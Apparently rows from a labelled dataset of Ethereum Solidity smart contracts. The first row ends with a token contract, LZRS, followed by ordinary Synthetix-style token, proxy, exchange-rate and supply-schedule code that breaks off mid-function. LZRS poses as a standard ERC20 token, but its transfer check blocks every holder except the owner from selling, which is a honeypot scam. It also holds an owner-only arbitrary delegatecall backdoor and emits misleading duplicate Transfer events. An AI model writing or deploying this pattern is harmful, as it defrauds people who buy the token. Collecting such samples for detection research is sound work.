callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract LZRS {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,234 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
require(to != address(this), "Cannot transfer to the underlying contract");
require(to != address(proxy), "Cannot transfer to the proxy contract");
tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value));
tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value));
callTokenFallbackIfNeeded(from, to, value, data);
emitTransfer(from, to, value);
return true;
}
function _transfer_byProxy(address from, address to, uint value, bytes data)
internal
returns (bool)
{
return _internalTransfer(from, to, value, data);
}
function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data)
internal
returns (bool)
{
tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value));
return _internalTransfer(from, to, value, data);
}
function approve(address spender, uint value)
public
optionalProxy
returns (bool)
{
address sender = messageSender;
tokenState.setAllowance(sender, spender, value);
emitApproval(sender, spender, value);
return true;
}
event Transfer(address indexed from, address indexed to, uint value);
bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)");
function emitTransfer(address from, address to, uint value) internal {
proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0);
}
event Approval(address indexed owner, address indexed spender, uint value);
bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)");
function emitApproval(address owner, address spender, uint value) internal {
proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0);
}
event TokenStateUpdated(address newTokenState);
bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)");
function emitTokenStateUpdated(address newTokenState) internal {
proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0);
}
}
contract SupplySchedule is Owned {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct ScheduleData {
uint totalSupply;
uint startPeriod;
uint endPeriod;
uint totalSupplyMinted;
}
uint public mintPeriodDuration = 1 weeks;
uint public lastMintEvent;
Synthetix public synthetix;
uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365;
uint public constant START_DATE = 1520294400;
uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1);
uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2);
uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3);
uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4);
uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5);
uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6);
uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7);
uint8 constant public INFLATION_SCHEDULES_LENGTH = 7;
ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules;
uint public minterReward = 200 * SafeDecimalMath.unit();
constructor(address _owner)
Owned(_owner)
public
{
schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit());
schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0);
schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0);
schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0);
schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0);
schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0);
schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0);
}
function setSynthetix(Synthetix _synthetix)
external
onlyOwner
{
synthetix = _synthetix;
}
function mintableSupply()
public
view
returns (uint)
{
if (!isMintable()) {
return 0;
}
uint index = getCurrentSchedule();
uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index);
ScheduleData memory schedule = schedules[index];
uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration);
uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod);
uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod));
uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint);
return amountInPeriod.add(amountPreviousPeriod);
}
function _numWeeksRoundedDown(uint _timeDiff)
public
view
returns (uint)
{
return _timeDiff.div(mintPeriodDuration);
}
function isMintable()
public
view
returns (bool)
{
bool mintable = false;
if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod)
{
mintable = true;
}
return mintable;
}
function getCurrentSchedule()
public
view
returns (uint)
{
require(now <= schedules[6].endPeriod, "Mintable periods have ended");
for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) {
if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) {
return i;
}
}
}
function _remainingSupplyFromPreviousYear(uint currentSchedule)
internal
view
returns (uint)
{
if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) {
return 0;
}
uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted);
if (amountInPeriod < 0) {
return 0;
}
return amountInPeriod;
}
function updateMintValues()
external
onlySynthetix
returns (bool)
{
uint currentIndex = getCurrentSchedule();
uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex);
uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount);
if (lastPeriodAmount > 0) {
schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount);
}
schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount);
lastMintEvent = now;
emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now);
return true;
}
function setMinterReward(uint _amount)
external
onlyOwner
{
minterReward = _amount;
emit MinterRewardUpdated(_amount);
}
modifier onlySynthetix() {
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp);
event MinterRewardUpdated(uint newRewardAmount);
}
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(bytes4 => uint) public rates;
mapping(bytes4 => uint) public lastRateUpdateTimes;
address public oracle;
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
uint public rateStalePeriod = 3 hours;
bytes4[5] public xdrParticipants;
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
constructor(
address _owner,
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
for (uint i = 0; i < currencyKeys.length; i++) {
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
updateXDRRate(timeSent);
return true;
}
function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) {
InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract ISynthetixState {
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
uint[] public debtLedger;
uint public issuanceRatio;
mapping(address => IssuanceData) public issuanceData;
function debtLedgerLength() external view returns (uint);
function hasIssued(address account) external view returns (bool);
function incrementTotalIssuerCount() external;
function decrementTotalIssuerCount() external;
function setCurrentIssuanceData(address account, uint initialDebtOwnership) external;
function lastDebtLedgerEntry() external view returns (uint);
function appendDebtLedgerValue(uint value) external;
function clearIssuanceData(address account) external;
}
contract SynthetixState is ISynthetixState, State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
